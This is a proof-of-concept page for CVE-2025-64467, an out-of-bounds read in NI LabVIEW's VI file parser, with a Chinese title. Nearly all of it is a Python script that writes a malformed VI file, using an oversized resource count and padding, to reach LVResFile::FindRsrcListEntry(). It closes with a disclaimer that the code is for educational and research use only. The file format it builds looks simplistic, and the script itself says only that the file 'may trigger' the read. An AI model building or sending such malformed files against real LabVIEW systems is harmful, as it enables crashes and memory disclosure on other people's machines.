CVE-2025-64467: NI LabVIEW VI文件解析越界读取漏洞

#!/usr/bin/env python3 """ CVE-2025-64467 PoC - Malformed VI File Generator This PoC generates a minimal corrupted VI file to trigger the out-of-bounds read in LVResFile::FindRsrcListEntry() """ import struct import os def create_corrupted_vi(output_path): """ Generate a corrupted VI file that triggers the vulnerability in LVResFile::FindRsrcListEntry() """ # VI file header (LabVIEW file format signature) header = b'VI' + b'\x00' * 13 # LV file signature # Version information version = struct.pack('<I', 0x0A) # Version marker # Corrupted resource section - triggers FindRsrcListEntry() vulnerability # The resource count is manipulated to cause out-of-bounds read resource_count = struct.pack('<I', 0xFFFFFFFF) # Invalid large count # Malformed resource entries # This causes the parser to read beyond allocated buffer corrupted_entries = b'\x00' * 256 # Padding to trigger boundary issue # Footer with specific markers that trigger the vulnerable code path footer = b'RSRC' + struct.pack('<I', 0x12345678) # Combine all sections vi_content = header + version + resource_count + corrupted_entries + footer with open(output_path, 'wb') as f: f.write(vi_content) print(f"[+] Corrupted VI file created: {output_path}") print(f"[+] File size: {len(vi_content)} bytes") print("[*] This file may trigger OOB read in LVResFile::FindRsrcListEntry()") def main(): output_file = "CVE-2025-64467_poc.vi" create_corrupted_vi(output_file) print("\n[!] Note: This PoC is for educational and security research purposes only.") print("[!] Do not use for malicious activities.") if __name__ == "__main__": main()